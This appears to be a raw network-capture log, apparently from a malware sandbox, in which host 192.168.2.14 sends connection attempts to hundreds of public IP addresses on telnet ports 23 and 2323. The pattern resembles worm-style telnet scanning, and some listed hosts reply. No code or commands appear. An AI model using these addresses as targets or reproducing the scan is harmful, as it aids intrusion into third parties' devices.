Dec 4, 2024 20:34:31.925030947 CET	60787	23	192.168.2.14	59.41.183.110
Dec 4, 2024 20:34:31.925031900 CET	60787	23	192.168.2.14	96.152.89.116
Dec 4, 2024 20:34:31.925031900 CET	60787	23	192.168.2.14	98.183.86.194
Dec 4, 2024 20:34:31.925035954 CET	60787	23	192.168.2.14	141.75.246.194
Dec 4, 2024 20:34:31.925050974 CET	23	37874	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:31.925057888 CET	60787	23	192.168.2.14	92.39.47.66
Dec 4, 2024 20:34:31.925057888 CET	60787	23	192.168.2.14	223.107.110.9
Dec 4, 2024 20:34:31.925059080 CET	35360	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:31.925059080 CET	60787	23	192.168.2.14	69.140.138.221
Dec 4, 2024 20:34:31.925060034 CET	60787	23	192.168.2.14	84.127.4.26
Dec 4, 2024 20:34:31.925060034 CET	60787	2323	192.168.2.14	150.11.161.16
Dec 4, 2024 20:34:31.925060987 CET	23	41486	167.81.113.199	192.168.2.14
Dec 4, 2024 20:34:31.925060034 CET	60787	23	192.168.2.14	195.143.45.142
Dec 4, 2024 20:34:31.925060034 CET	60787	23	192.168.2.14	153.222.224.232
Dec 4, 2024 20:34:31.925059080 CET	60787	23	192.168.2.14	171.123.95.217
Dec 4, 2024 20:34:31.925059080 CET	60787	23	192.168.2.14	218.93.229.183
Dec 4, 2024 20:34:31.925064087 CET	60787	23	192.168.2.14	201.146.129.90
Dec 4, 2024 20:34:31.925062895 CET	60787	23	192.168.2.14	183.199.44.194
Dec 4, 2024 20:34:31.925064087 CET	60787	23	192.168.2.14	189.202.74.115
Dec 4, 2024 20:34:31.925064087 CET	60787	23	192.168.2.14	175.64.159.15
Dec 4, 2024 20:34:31.925076962 CET	23	56854	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:31.925085068 CET	60787	23	192.168.2.14	1.159.15.240
Dec 4, 2024 20:34:31.925097942 CET	60787	2323	192.168.2.14	158.186.49.101
Dec 4, 2024 20:34:31.925101042 CET	60787	23	192.168.2.14	121.219.236.106
Dec 4, 2024 20:34:31.925101042 CET	60787	2323	192.168.2.14	171.247.68.146
Dec 4, 2024 20:34:31.925101042 CET	60787	23	192.168.2.14	68.61.115.37
Dec 4, 2024 20:34:31.925101042 CET	60787	23	192.168.2.14	87.205.201.141
Dec 4, 2024 20:34:31.925101042 CET	60787	23	192.168.2.14	97.181.27.151
Dec 4, 2024 20:34:31.925103903 CET	60787	23	192.168.2.14	95.222.136.199
Dec 4, 2024 20:34:31.925106049 CET	60787	23	192.168.2.14	221.40.18.156
Dec 4, 2024 20:34:31.925106049 CET	45758	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:31.925106049 CET	60787	23	192.168.2.14	53.163.52.240
Dec 4, 2024 20:34:31.925107002 CET	60787	23	192.168.2.14	163.29.46.211
Dec 4, 2024 20:34:31.925107002 CET	49446	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:31.925107002 CET	60787	23	192.168.2.14	24.25.158.85
Dec 4, 2024 20:34:31.925107002 CET	60787	23	192.168.2.14	136.175.237.128
Dec 4, 2024 20:34:31.925107002 CET	60787	23	192.168.2.14	92.108.222.109
Dec 4, 2024 20:34:31.925106049 CET	51966	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:31.925106049 CET	60787	23	192.168.2.14	97.163.33.28
Dec 4, 2024 20:34:31.925106049 CET	60787	23	192.168.2.14	168.33.54.26
Dec 4, 2024 20:34:31.925138950 CET	60787	23	192.168.2.14	45.171.210.194
Dec 4, 2024 20:34:31.925142050 CET	60787	23	192.168.2.14	93.159.155.25
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	86.52.27.79
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	197.139.177.100
Dec 4, 2024 20:34:31.925143957 CET	60787	2323	192.168.2.14	186.72.152.64
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	213.71.175.23
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	188.17.97.88
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	200.3.218.68
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	118.13.75.136
Dec 4, 2024 20:34:31.925143957 CET	60787	2323	192.168.2.14	160.86.170.254
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	191.215.163.53
Dec 4, 2024 20:34:31.925144911 CET	46786	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	164.187.144.214
Dec 4, 2024 20:34:31.925143957 CET	60787	2323	192.168.2.14	187.188.129.115
Dec 4, 2024 20:34:31.925144911 CET	60787	23	192.168.2.14	161.246.221.236
Dec 4, 2024 20:34:31.925143957 CET	60787	23	192.168.2.14	182.78.13.229
Dec 4, 2024 20:34:31.925146103 CET	60787	2323	192.168.2.14	19.225.139.255
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	120.102.175.0
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	180.50.255.158
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	5.206.214.117
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	27.41.101.70
Dec 4, 2024 20:34:31.925144911 CET	60787	23	192.168.2.14	86.183.158.183
Dec 4, 2024 20:34:31.925144911 CET	60787	23	192.168.2.14	216.90.61.104
Dec 4, 2024 20:34:31.925144911 CET	60787	23	192.168.2.14	74.173.107.87
Dec 4, 2024 20:34:31.925162077 CET	60787	23	192.168.2.14	186.35.11.160
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	188.30.149.102
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	61.202.43.68
Dec 4, 2024 20:34:31.925146103 CET	60787	23	192.168.2.14	60.85.216.238
Dec 4, 2024 20:34:31.925163984 CET	60787	23	192.168.2.14	65.82.200.5
Dec 4, 2024 20:34:31.925165892 CET	60787	23	192.168.2.14	163.87.253.72
Dec 4, 2024 20:34:31.925165892 CET	60787	23	192.168.2.14	174.113.108.191
Dec 4, 2024 20:34:31.925165892 CET	60787	23	192.168.2.14	156.20.230.74
Dec 4, 2024 20:34:31.925165892 CET	60787	23	192.168.2.14	68.52.19.128
Dec 4, 2024 20:34:31.925168991 CET	60787	23	192.168.2.14	191.212.172.47
Dec 4, 2024 20:34:31.925168991 CET	60787	23	192.168.2.14	179.213.221.93
Dec 4, 2024 20:34:31.925168991 CET	60787	2323	192.168.2.14	165.120.156.29
Dec 4, 2024 20:34:31.925169945 CET	60787	23	192.168.2.14	180.80.104.245
Dec 4, 2024 20:34:31.925169945 CET	60787	23	192.168.2.14	211.19.166.84
Dec 4, 2024 20:34:31.925173998 CET	60787	23	192.168.2.14	100.133.109.120
Dec 4, 2024 20:34:31.925173998 CET	60787	23	192.168.2.14	35.191.78.202
Dec 4, 2024 20:34:31.925173998 CET	60787	23	192.168.2.14	101.162.212.174
Dec 4, 2024 20:34:31.925173998 CET	60787	23	192.168.2.14	154.203.245.25
Dec 4, 2024 20:34:31.925173998 CET	56854	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:31.925179005 CET	60787	23	192.168.2.14	183.17.22.126
Dec 4, 2024 20:34:31.925179005 CET	60787	23	192.168.2.14	154.244.40.153
Dec 4, 2024 20:34:31.925179005 CET	60787	23	192.168.2.14	146.50.226.128
Dec 4, 2024 20:34:31.925180912 CET	60787	23	192.168.2.14	38.5.71.36
Dec 4, 2024 20:34:31.925184011 CET	60787	23	192.168.2.14	58.47.27.147
Dec 4, 2024 20:34:31.925187111 CET	37874	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:31.925187111 CET	60787	23	192.168.2.14	189.61.46.58
Dec 4, 2024 20:34:31.925187111 CET	41486	23	192.168.2.14	167.81.113.199
Dec 4, 2024 20:34:31.925187111 CET	60787	23	192.168.2.14	69.30.28.223
Dec 4, 2024 20:34:31.925187111 CET	60787	23	192.168.2.14	69.146.23.25
Dec 4, 2024 20:34:31.925187111 CET	60787	23	192.168.2.14	87.8.95.111
Dec 4, 2024 20:34:31.925187111 CET	60787	23	192.168.2.14	46.134.128.247
Dec 4, 2024 20:34:31.925189972 CET	60787	23	192.168.2.14	197.32.165.66
Dec 4, 2024 20:34:31.925193071 CET	60787	23	192.168.2.14	104.239.222.171
Dec 4, 2024 20:34:31.925195932 CET	60787	23	192.168.2.14	135.221.75.1
Dec 4, 2024 20:34:31.925195932 CET	60787	23	192.168.2.14	176.199.250.139
Dec 4, 2024 20:34:31.925195932 CET	60787	23	192.168.2.14	192.137.98.177
Dec 4, 2024 20:34:31.925195932 CET	60787	23	192.168.2.14	158.90.13.165
Dec 4, 2024 20:34:31.925198078 CET	60787	23	192.168.2.14	218.94.116.154
Dec 4, 2024 20:34:31.925215960 CET	60787	23	192.168.2.14	70.188.40.196
Dec 4, 2024 20:34:31.925215960 CET	60787	2323	192.168.2.14	178.207.159.71
Dec 4, 2024 20:34:31.925218105 CET	60787	23	192.168.2.14	148.109.58.157
Dec 4, 2024 20:34:31.925218105 CET	60787	23	192.168.2.14	35.24.222.199
Dec 4, 2024 20:34:31.925219059 CET	60787	23	192.168.2.14	141.215.44.58
Dec 4, 2024 20:34:31.925218105 CET	60787	2323	192.168.2.14	155.57.158.243
Dec 4, 2024 20:34:31.925215960 CET	60787	23	192.168.2.14	153.106.61.116
Dec 4, 2024 20:34:31.925216913 CET	60787	23	192.168.2.14	176.212.131.35
Dec 4, 2024 20:34:31.925224066 CET	60787	23	192.168.2.14	206.15.103.125
Dec 4, 2024 20:34:31.925218105 CET	60787	23	192.168.2.14	123.233.233.20
Dec 4, 2024 20:34:31.925218105 CET	60787	23	192.168.2.14	112.154.163.222
Dec 4, 2024 20:34:31.925224066 CET	60787	23	192.168.2.14	165.175.49.92
Dec 4, 2024 20:34:31.925218105 CET	60787	23	192.168.2.14	109.222.1.86
Dec 4, 2024 20:34:31.925218105 CET	60787	23	192.168.2.14	207.11.146.39
Dec 4, 2024 20:34:31.925240040 CET	60787	23	192.168.2.14	192.35.167.34
Dec 4, 2024 20:34:31.925242901 CET	60787	23	192.168.2.14	208.104.63.103
Dec 4, 2024 20:34:31.925242901 CET	60787	23	192.168.2.14	192.138.174.214
Dec 4, 2024 20:34:31.925242901 CET	60787	23	192.168.2.14	167.117.145.32
Dec 4, 2024 20:34:31.925242901 CET	60787	23	192.168.2.14	143.252.213.205
Dec 4, 2024 20:34:31.925244093 CET	60787	23	192.168.2.14	59.233.181.208
Dec 4, 2024 20:34:31.925244093 CET	60787	23	192.168.2.14	163.31.116.60
Dec 4, 2024 20:34:31.925245047 CET	60787	23	192.168.2.14	158.95.89.202
Dec 4, 2024 20:34:31.925245047 CET	60787	23	192.168.2.14	53.87.47.10
Dec 4, 2024 20:34:31.925245047 CET	60787	23	192.168.2.14	39.20.234.155
Dec 4, 2024 20:34:31.925246000 CET	60787	23	192.168.2.14	179.103.194.239
Dec 4, 2024 20:34:31.925245047 CET	60787	23	192.168.2.14	133.108.124.187
Dec 4, 2024 20:34:31.925246000 CET	60787	23	192.168.2.14	109.246.197.232
Dec 4, 2024 20:34:31.925246000 CET	60787	23	192.168.2.14	154.147.188.74
Dec 4, 2024 20:34:31.925246000 CET	60787	2323	192.168.2.14	161.137.181.225
Dec 4, 2024 20:34:31.925246000 CET	60787	23	192.168.2.14	151.168.50.48
Dec 4, 2024 20:34:31.925246000 CET	60787	23	192.168.2.14	45.110.26.0
Dec 4, 2024 20:34:31.925254107 CET	60787	23	192.168.2.14	37.134.203.175
Dec 4, 2024 20:34:31.925255060 CET	60787	23	192.168.2.14	62.234.228.59
Dec 4, 2024 20:34:31.925254107 CET	60787	23	192.168.2.14	89.32.108.176
Dec 4, 2024 20:34:31.925254107 CET	60787	23	192.168.2.14	181.144.171.2
Dec 4, 2024 20:34:31.925254107 CET	60787	23	192.168.2.14	166.77.214.43
Dec 4, 2024 20:34:31.925254107 CET	60787	2323	192.168.2.14	107.165.103.220
Dec 4, 2024 20:34:31.925254107 CET	60787	23	192.168.2.14	108.118.43.53
Dec 4, 2024 20:34:31.925254107 CET	60787	2323	192.168.2.14	198.247.122.234
Dec 4, 2024 20:34:31.925254107 CET	60787	23	192.168.2.14	166.35.213.144
Dec 4, 2024 20:34:31.925256968 CET	60787	23	192.168.2.14	44.230.69.252
Dec 4, 2024 20:34:31.925257921 CET	60787	23	192.168.2.14	217.78.145.109
Dec 4, 2024 20:34:31.925256968 CET	60787	23	192.168.2.14	74.23.77.253
Dec 4, 2024 20:34:31.925261021 CET	60787	23	192.168.2.14	60.105.216.32
Dec 4, 2024 20:34:31.925263882 CET	60787	23	192.168.2.14	135.67.228.75
Dec 4, 2024 20:34:31.925263882 CET	60787	23	192.168.2.14	81.101.182.116
Dec 4, 2024 20:34:31.925270081 CET	60787	23	192.168.2.14	207.174.26.160
Dec 4, 2024 20:34:31.925271034 CET	60787	23	192.168.2.14	124.113.33.3
Dec 4, 2024 20:34:31.925271034 CET	60787	2323	192.168.2.14	212.109.214.152
Dec 4, 2024 20:34:31.925271988 CET	60787	23	192.168.2.14	40.238.178.2
Dec 4, 2024 20:34:31.925271034 CET	60787	23	192.168.2.14	61.141.2.154
Dec 4, 2024 20:34:31.925271988 CET	60787	23	192.168.2.14	220.14.154.63
Dec 4, 2024 20:34:31.925272942 CET	60787	23	192.168.2.14	109.5.50.85
Dec 4, 2024 20:34:31.925272942 CET	60787	23	192.168.2.14	75.62.109.214
Dec 4, 2024 20:34:31.925272942 CET	60787	23	192.168.2.14	151.89.252.68
Dec 4, 2024 20:34:31.925272942 CET	60787	23	192.168.2.14	106.134.32.179
Dec 4, 2024 20:34:31.926502943 CET	46290	23	192.168.2.14	74.182.235.212
Dec 4, 2024 20:34:31.926506042 CET	49032	23	192.168.2.14	150.4.163.36
Dec 4, 2024 20:34:31.926511049 CET	52118	23	192.168.2.14	171.70.253.116
Dec 4, 2024 20:34:31.926537991 CET	44474	23	192.168.2.14	37.173.63.244
Dec 4, 2024 20:34:31.926546097 CET	50782	23	192.168.2.14	141.75.203.217
Dec 4, 2024 20:34:31.926547050 CET	47276	23	192.168.2.14	203.222.108.235
Dec 4, 2024 20:34:31.926548004 CET	48130	23	192.168.2.14	32.13.228.128
Dec 4, 2024 20:34:31.926549911 CET	34534	23	192.168.2.14	118.179.164.86
Dec 4, 2024 20:34:31.926549911 CET	46172	23	192.168.2.14	146.142.19.98
Dec 4, 2024 20:34:31.926549911 CET	60778	23	192.168.2.14	82.178.162.31
Dec 4, 2024 20:34:31.926549911 CET	42102	23	192.168.2.14	94.39.126.146
Dec 4, 2024 20:34:31.926551104 CET	60932	23	192.168.2.14	206.150.24.134
Dec 4, 2024 20:34:31.926549911 CET	37958	23	192.168.2.14	180.225.100.239
Dec 4, 2024 20:34:31.926549911 CET	42670	23	192.168.2.14	113.107.13.18
Dec 4, 2024 20:34:31.926558971 CET	43108	23	192.168.2.14	121.208.151.118
Dec 4, 2024 20:34:31.926563025 CET	58452	23	192.168.2.14	110.190.153.89
Dec 4, 2024 20:34:31.926563025 CET	60706	23	192.168.2.14	164.38.237.117
Dec 4, 2024 20:34:31.926563025 CET	47376	23	192.168.2.14	109.94.63.9
Dec 4, 2024 20:34:31.926565886 CET	39478	23	192.168.2.14	154.147.49.100
Dec 4, 2024 20:34:31.926568985 CET	39416	23	192.168.2.14	27.212.9.17
Dec 4, 2024 20:34:31.926568985 CET	51958	23	192.168.2.14	221.84.62.217
Dec 4, 2024 20:34:31.926568985 CET	52146	2323	192.168.2.14	200.208.163.244
Dec 4, 2024 20:34:31.926568985 CET	50522	23	192.168.2.14	27.9.100.255
Dec 4, 2024 20:34:31.926574945 CET	41956	23	192.168.2.14	149.217.166.225
Dec 4, 2024 20:34:31.926575899 CET	36124	23	192.168.2.14	59.209.121.198
Dec 4, 2024 20:34:31.926584959 CET	45708	23	192.168.2.14	99.234.222.27
Dec 4, 2024 20:34:31.926585913 CET	39416	23	192.168.2.14	163.21.119.83
Dec 4, 2024 20:34:31.926584959 CET	53824	23	192.168.2.14	170.76.147.12
Dec 4, 2024 20:34:31.926585913 CET	53204	23	192.168.2.14	32.26.226.115
Dec 4, 2024 20:34:31.926594019 CET	59746	23	192.168.2.14	82.14.186.157
Dec 4, 2024 20:34:31.926597118 CET	38386	23	192.168.2.14	155.173.151.212
Dec 4, 2024 20:34:31.926599026 CET	60524	23	192.168.2.14	100.137.94.31
Dec 4, 2024 20:34:31.926599026 CET	59796	23	192.168.2.14	42.200.16.161
Dec 4, 2024 20:34:31.926599026 CET	32938	23	192.168.2.14	166.21.100.118
Dec 4, 2024 20:34:31.926599026 CET	41178	23	192.168.2.14	163.43.135.223
Dec 4, 2024 20:34:31.926600933 CET	55130	23	192.168.2.14	69.205.3.82
Dec 4, 2024 20:34:31.926600933 CET	46874	23	192.168.2.14	86.216.250.111
Dec 4, 2024 20:34:31.926600933 CET	60804	23	192.168.2.14	184.52.45.59
Dec 4, 2024 20:34:31.926600933 CET	37816	23	192.168.2.14	18.201.2.98
Dec 4, 2024 20:34:31.926600933 CET	36112	23	192.168.2.14	18.23.6.211
Dec 4, 2024 20:34:31.926605940 CET	40368	23	192.168.2.14	216.217.69.150
Dec 4, 2024 20:34:31.926611900 CET	51664	23	192.168.2.14	142.94.55.104
Dec 4, 2024 20:34:31.926611900 CET	48832	23	192.168.2.14	104.4.207.41
Dec 4, 2024 20:34:31.926611900 CET	53504	23	192.168.2.14	167.50.240.55
Dec 4, 2024 20:34:31.926613092 CET	46706	2323	192.168.2.14	111.203.162.122
Dec 4, 2024 20:34:31.926613092 CET	58082	23	192.168.2.14	185.7.177.72
Dec 4, 2024 20:34:31.926615953 CET	33458	23	192.168.2.14	80.202.155.43
Dec 4, 2024 20:34:31.926615953 CET	36838	23	192.168.2.14	188.45.136.245
Dec 4, 2024 20:34:31.926615953 CET	52618	23	192.168.2.14	133.122.98.172
Dec 4, 2024 20:34:31.926619053 CET	60026	23	192.168.2.14	206.223.56.156
Dec 4, 2024 20:34:31.926619053 CET	52118	23	192.168.2.14	73.177.34.175
Dec 4, 2024 20:34:31.926619053 CET	46384	23	192.168.2.14	176.201.141.246
Dec 4, 2024 20:34:31.958511114 CET	43058	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:31.990510941 CET	35282	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.022525072 CET	49524	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:32.084019899 CET	23	46178	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.084044933 CET	2323	43684	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.084054947 CET	23	57490	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.084062099 CET	23	46272	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.084095001 CET	46178	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.084095001 CET	46272	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.084096909 CET	57490	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.084115982 CET	43684	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.084126949 CET	23	34380	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.084136009 CET	23	41532	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.084150076 CET	23	38514	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.084167957 CET	41532	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.084170103 CET	34380	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.084182978 CET	38514	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.084197044 CET	2323	41640	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.084207058 CET	23	59912	112.154.109.33	192.168.2.14
Dec 4, 2024 20:34:32.084214926 CET	23	41682	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:32.084232092 CET	2323	59838	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.084237099 CET	41640	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.084244967 CET	41682	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:32.084245920 CET	23	40098	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:32.084247112 CET	59912	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:32.084259033 CET	59838	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.084283113 CET	40098	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:32.086616039 CET	2323	47842	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:32.086625099 CET	2323	41008	203.20.182.112	192.168.2.14
Dec 4, 2024 20:34:32.086657047 CET	47842	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:32.086657047 CET	23	42170	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:32.086658955 CET	41008	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:32.086668015 CET	23	42090	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:32.086677074 CET	23	40164	66.163.41.22	192.168.2.14
Dec 4, 2024 20:34:32.086688995 CET	2323	43288	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:32.086689949 CET	42170	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:32.086697102 CET	42090	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:32.086698055 CET	23	55474	199.72.243.77	192.168.2.14
Dec 4, 2024 20:34:32.086711884 CET	40164	23	192.168.2.14	66.163.41.22
Dec 4, 2024 20:34:32.086714029 CET	23	37570	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:32.086723089 CET	23	57020	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:32.086769104 CET	43288	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:32.086783886 CET	55474	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:32.086792946 CET	37570	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:32.086802959 CET	57020	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:32.088289976 CET	23	60787	191.52.1.82	192.168.2.14
Dec 4, 2024 20:34:32.088310957 CET	2323	60787	13.195.165.84	192.168.2.14
Dec 4, 2024 20:34:32.088320017 CET	23	60787	217.200.213.104	192.168.2.14
Dec 4, 2024 20:34:32.088329077 CET	23	60787	194.136.213.164	192.168.2.14
Dec 4, 2024 20:34:32.088334084 CET	60787	23	192.168.2.14	191.52.1.82
Dec 4, 2024 20:34:32.088345051 CET	60787	2323	192.168.2.14	13.195.165.84
Dec 4, 2024 20:34:32.088356972 CET	60787	23	192.168.2.14	217.200.213.104
Dec 4, 2024 20:34:32.088368893 CET	60787	23	192.168.2.14	194.136.213.164
Dec 4, 2024 20:34:32.088413000 CET	2323	60787	160.0.90.184	192.168.2.14
Dec 4, 2024 20:34:32.088422060 CET	23	60787	66.202.246.138	192.168.2.14
Dec 4, 2024 20:34:32.088429928 CET	23	60787	67.167.58.48	192.168.2.14
Dec 4, 2024 20:34:32.088438034 CET	60787	2323	192.168.2.14	160.0.90.184
Dec 4, 2024 20:34:32.088447094 CET	23	60787	186.10.130.162	192.168.2.14
Dec 4, 2024 20:34:32.088454008 CET	60787	23	192.168.2.14	66.202.246.138
Dec 4, 2024 20:34:32.088454962 CET	23	59714	180.100.180.63	192.168.2.14
Dec 4, 2024 20:34:32.088459969 CET	60787	23	192.168.2.14	67.167.58.48
Dec 4, 2024 20:34:32.088464022 CET	23	60787	169.20.234.82	192.168.2.14
Dec 4, 2024 20:34:32.088473082 CET	23	44294	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:32.088478088 CET	60787	23	192.168.2.14	186.10.130.162
Dec 4, 2024 20:34:32.088498116 CET	60787	23	192.168.2.14	169.20.234.82
Dec 4, 2024 20:34:32.088522911 CET	59714	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:32.088951111 CET	23	60787	31.81.115.60	192.168.2.14
Dec 4, 2024 20:34:32.088990927 CET	60787	23	192.168.2.14	31.81.115.60
Dec 4, 2024 20:34:32.089059114 CET	23	60787	163.50.205.230	192.168.2.14
Dec 4, 2024 20:34:32.089059114 CET	60180	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:32.089071035 CET	23	60787	101.184.84.206	192.168.2.14
Dec 4, 2024 20:34:32.089081049 CET	23	60787	141.75.246.194	192.168.2.14
Dec 4, 2024 20:34:32.089090109 CET	23	60787	59.41.183.110	192.168.2.14
Dec 4, 2024 20:34:32.089097977 CET	23	60787	31.30.204.153	192.168.2.14
Dec 4, 2024 20:34:32.089104891 CET	60787	23	192.168.2.14	101.184.84.206
Dec 4, 2024 20:34:32.089107037 CET	60787	23	192.168.2.14	163.50.205.230
Dec 4, 2024 20:34:32.089108944 CET	23	60787	96.152.89.116	192.168.2.14
Dec 4, 2024 20:34:32.089113951 CET	60787	23	192.168.2.14	141.75.246.194
Dec 4, 2024 20:34:32.089124918 CET	60787	23	192.168.2.14	59.41.183.110
Dec 4, 2024 20:34:32.089126110 CET	23	60787	98.183.86.194	192.168.2.14
Dec 4, 2024 20:34:32.089134932 CET	23	60787	92.39.47.66	192.168.2.14
Dec 4, 2024 20:34:32.089140892 CET	60787	23	192.168.2.14	31.30.204.153
Dec 4, 2024 20:34:32.089159966 CET	2323	60787	150.11.161.16	192.168.2.14
Dec 4, 2024 20:34:32.089165926 CET	60787	23	192.168.2.14	96.152.89.116
Dec 4, 2024 20:34:32.089169979 CET	23	60787	195.143.45.142	192.168.2.14
Dec 4, 2024 20:34:32.089179993 CET	23	60787	223.107.110.9	192.168.2.14
Dec 4, 2024 20:34:32.089189053 CET	23	60787	84.127.4.26	192.168.2.14
Dec 4, 2024 20:34:32.089196920 CET	23	60787	69.140.138.221	192.168.2.14
Dec 4, 2024 20:34:32.089196920 CET	60787	23	192.168.2.14	98.183.86.194
Dec 4, 2024 20:34:32.089205980 CET	23	60787	201.146.129.90	192.168.2.14
Dec 4, 2024 20:34:32.089209080 CET	60787	23	192.168.2.14	195.143.45.142
Dec 4, 2024 20:34:32.089214087 CET	60787	23	192.168.2.14	84.127.4.26
Dec 4, 2024 20:34:32.089214087 CET	60787	2323	192.168.2.14	150.11.161.16
Dec 4, 2024 20:34:32.089215994 CET	23	60787	183.199.44.194	192.168.2.14
Dec 4, 2024 20:34:32.089215994 CET	60787	23	192.168.2.14	92.39.47.66
Dec 4, 2024 20:34:32.089215994 CET	60787	23	192.168.2.14	223.107.110.9
Dec 4, 2024 20:34:32.089236021 CET	23	60787	153.222.224.232	192.168.2.14
Dec 4, 2024 20:34:32.089238882 CET	60787	23	192.168.2.14	201.146.129.90
Dec 4, 2024 20:34:32.089242935 CET	60787	23	192.168.2.14	69.140.138.221
Dec 4, 2024 20:34:32.089245081 CET	23	60787	171.123.95.217	192.168.2.14
Dec 4, 2024 20:34:32.089250088 CET	60787	23	192.168.2.14	183.199.44.194
Dec 4, 2024 20:34:32.089257002 CET	23	35360	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.089272976 CET	60787	23	192.168.2.14	153.222.224.232
Dec 4, 2024 20:34:32.089272976 CET	60787	23	192.168.2.14	171.123.95.217
Dec 4, 2024 20:34:32.089301109 CET	23	60787	189.202.74.115	192.168.2.14
Dec 4, 2024 20:34:32.089310884 CET	23	60787	218.93.229.183	192.168.2.14
Dec 4, 2024 20:34:32.089319944 CET	23	60787	175.64.159.15	192.168.2.14
Dec 4, 2024 20:34:32.089328051 CET	23	60787	1.159.15.240	192.168.2.14
Dec 4, 2024 20:34:32.089329958 CET	60787	23	192.168.2.14	189.202.74.115
Dec 4, 2024 20:34:32.089337111 CET	2323	60787	158.186.49.101	192.168.2.14
Dec 4, 2024 20:34:32.089337111 CET	60787	23	192.168.2.14	218.93.229.183
Dec 4, 2024 20:34:32.089349985 CET	60787	23	192.168.2.14	175.64.159.15
Dec 4, 2024 20:34:32.089351892 CET	60787	23	192.168.2.14	1.159.15.240
Dec 4, 2024 20:34:32.089354992 CET	23	60787	95.222.136.199	192.168.2.14
Dec 4, 2024 20:34:32.089365005 CET	23	60787	221.40.18.156	192.168.2.14
Dec 4, 2024 20:34:32.089373112 CET	60787	2323	192.168.2.14	158.186.49.101
Dec 4, 2024 20:34:32.089382887 CET	23	60787	121.219.236.106	192.168.2.14
Dec 4, 2024 20:34:32.089391947 CET	23	60787	53.163.52.240	192.168.2.14
Dec 4, 2024 20:34:32.089396954 CET	60787	23	192.168.2.14	95.222.136.199
Dec 4, 2024 20:34:32.089396954 CET	60787	23	192.168.2.14	221.40.18.156
Dec 4, 2024 20:34:32.089421034 CET	60787	23	192.168.2.14	121.219.236.106
Dec 4, 2024 20:34:32.089423895 CET	60787	23	192.168.2.14	53.163.52.240
Dec 4, 2024 20:34:32.089550018 CET	44294	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:32.089848995 CET	44766	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:32.090181112 CET	2323	60787	171.247.68.146	192.168.2.14
Dec 4, 2024 20:34:32.090189934 CET	23	60787	163.29.46.211	192.168.2.14
Dec 4, 2024 20:34:32.090199947 CET	23	60787	136.175.237.128	192.168.2.14
Dec 4, 2024 20:34:32.090208054 CET	23	45758	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.090218067 CET	23	60787	97.163.33.28	192.168.2.14
Dec 4, 2024 20:34:32.090220928 CET	60787	23	192.168.2.14	163.29.46.211
